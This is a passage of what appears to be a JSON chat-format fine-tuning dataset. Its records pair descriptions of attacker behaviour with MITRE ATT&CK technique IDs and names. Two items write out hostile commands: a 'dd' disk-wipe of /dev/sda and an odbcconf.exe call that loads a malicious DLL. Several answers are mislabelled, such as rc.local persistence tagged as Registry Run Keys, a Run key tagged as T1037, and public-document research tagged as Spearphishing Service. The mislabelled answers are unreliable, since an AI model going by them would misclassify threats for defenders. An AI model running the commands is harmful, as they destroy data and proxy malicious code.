                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes malicious attachments that are double-compressed to hide malicious code."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor infiltrates a firmware signing authority, signing rogue firmware for graphics cards that later provides kernel‑level privileges."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a crafted IPMI request to the server's baseboard management controller to extract firmware version details."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell to archive files into a .rar in the user profile as a staging step."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target organization's security policies and procedures through publicly available documents."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a hidden scheduled task, the intruder ensures that a ransomware component is executed daily without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts a scan of public Docker Hub images to extract embedded API keys and tokens from Dockerfiles and image metadata."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hide exfiltration within benign DNS queries to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures a token from a privileged process and creates another process using that token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a DNS “TXT” record to retrieve encryption keys from the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker retrieves a stolen Slack API token from a compromised browser's local storage."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script extracts the session ID from an active Citrix ICA connection, allowing the attacker to hijack the remote service and execute arbitrary actions."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs MQTT messages that mimic normal IoT telemetry, using the protocol to stealthily exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script queries the Windows Credential Manager for cached domain admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators used a smartphone to scan printed screenshots of financial records and saved them to a microSD card that was later taken offsite."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs WMI to query Win32_PnPEntity for details on attached peripherals."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script appends a command to /etc/rc.local to run during system startup on Linux."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sets up a persistence mechanism by creating a new local user account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies a legitimate video conferencing application to enable hidden audio recording of meetings without user consent."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's infrastructure includes a fast-flux network that rotates the IPs serving malicious content frequently."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new process in a suspended state, replaces its memory with malicious code, and then resumes it, effectively performing process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver is signed with a stolen certificate and installed to load during the OS boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a Linux 'dd if=/dev/zero of=/dev/sda bs=1M' command to destroy the disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set forges a code signing certificate by exploiting a vulnerable certificate issuance process."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage native system APIs to perform actions such as file manipulation and process creation without using shell commands."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts the contents of the Windows Credential Manager vault."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executed the Windows Installer utility InstallUtil.exe to run malicious code hidden in a .NET assembly, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the adversary copies a malicious DLL to %SystemRoot%\\System32\\spoolsv.exe and registers it as a Terminal Services server component."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains read access to shared mailboxes on an Exchange server and copies their contents to a remote share."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reviews the bash history of compromised accounts to locate stored API keys and SSH passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT actor exploits a known CVE in Confluence to gain unauthenticated access to the knowledge base and extracts data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the Microsoft Exchange transport service, allowing the attacker to intercept email traffic."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected by placing a malicious .so file in a directory that is searched before the legitimate library path, resulting in the dynamic linker loading the attacker-controlled library."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites the Terminal Services DLL (termsrv.dll) with a trojanized version, allowing persistent execution whenever the service runs."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating the 'setuid' bit on a binary to obtain root privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor performs a supply chain attack by compromising a third‑party library used by serverless functions."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a scheduled task to adjust the laptop's lid close action to 'Do nothing' to avoid shutdown during exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set secures a domain name that resembles a legitimate brand for use in credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team crafts a custom implant using Rust to bypass memory‑based detection on Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts internet searches on private forums and subscription-based sites to gather information about the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor's workflow includes deploying a cryptominer that runs at low priority, ensuring it remains unnoticed while harvesting resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware duplicates the token of a logged‑in admin and spawns a new process to encrypt files."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged Confluence's page version history to recover previously deleted confidential data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a registry Run key under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to execute a payload during boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By infiltrating the package signing infrastructure, the attacker was able to sign and distribute a tampered version of the software that appeared legitimate to all downstream consumers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the final stage, the adversary executes a script that deletes all files and then forces a low‑level format of the drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers sent a calendar invite that pretended to be from the CTO, containing a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the attacker calls the Windows API NetUserEnum to gather domain user information."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By automating the MFA request API, the attacker spams the victim with authentication prompts, leveraging user fatigue to gain access."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was used to disable logging in the victim's Azure Monitor service, preventing any audit trails."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal gains access to a cloud-based code signing service by exploiting weak API authentication and uses the service to sign malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malicious script removes entries from the SIEM's indicator list, ensuring that its activity is not logged as a threat."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads the memory of the macOS securityd daemon to dump saved passwords and authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intrusion set runs a PowerShell command to erase audit logs and hide the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Windows host, the group initiates a Bluetooth file transfer (OBEX) to a Bluetooth speaker they previously paired with, embedding data in audio payloads."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing \"odbcconf.exe /s /a {REGSVR \\\"C:\\\\malware\\\\bad.dll\\\"}\" the threat actor proxies execution through a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is written into a process's thread local storage area, allowing the attacker to execute payloads stealthily within the target process."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used unchanged default accounts on a newly installed server to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses Unicode (UTF‑16) encoding to obfuscate command output before logging it."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary rented a botnet from a bot‑herding service to perform large‑scale web scraping."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise the IIS server by injecting a custom ISAPI filter that logs credentials and forwards them to the C2."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting an outdated Apache server, the attacker placed a defacement script in the web root, causing the website to display a defaced image to external users."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After hijacking an access token, the threat actor uses it to launch a second-stage payload via CreateProcessWithTokenA."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email tricks users into installing a fake Chrome toolbar that harvests authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Windows service named \"Updater\" with a malicious executable path and sets it to start automatically on boot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit uses kernel-mode checks for the presence of a kernel debugger and refuses to load if found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux-based Trojan creates an entry in the global autostart folder to achieve boot persistence on systems using XDG standards."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage Outlook's Forms feature by placing a crafted form file in the user's AppData\\Roaming\\Microsoft\\Forms folder to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs multi-hop proxying by first connecting to a public proxy, then to a compromised internal proxy, before sending data to the exfiltration server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a series of computationally intensive encryption operations on the victim’s device, draining CPU resources and halting legitimate tasks."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit is delivered via a crafted URL to a vulnerable Apache Struts server, leading to arbitrary code execution."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script stops the Windows Defender service and deletes its scheduled tasks to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement within a network involves leveraging existing user identities and their associated access rights, often through exploitation of password reuse across different systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a network of compromised domains that are optimized for search engine rankings and embed malicious scripts, causing users who click the top results to download ransomware."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a malicious macro‑enabled Word document, and the user enables macros, causing the embedded script to launch the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor retrieves a trojan from a malicious phishing attachment to add new capabilities to their toolkit."
            },
            {
                "role": "assistant",
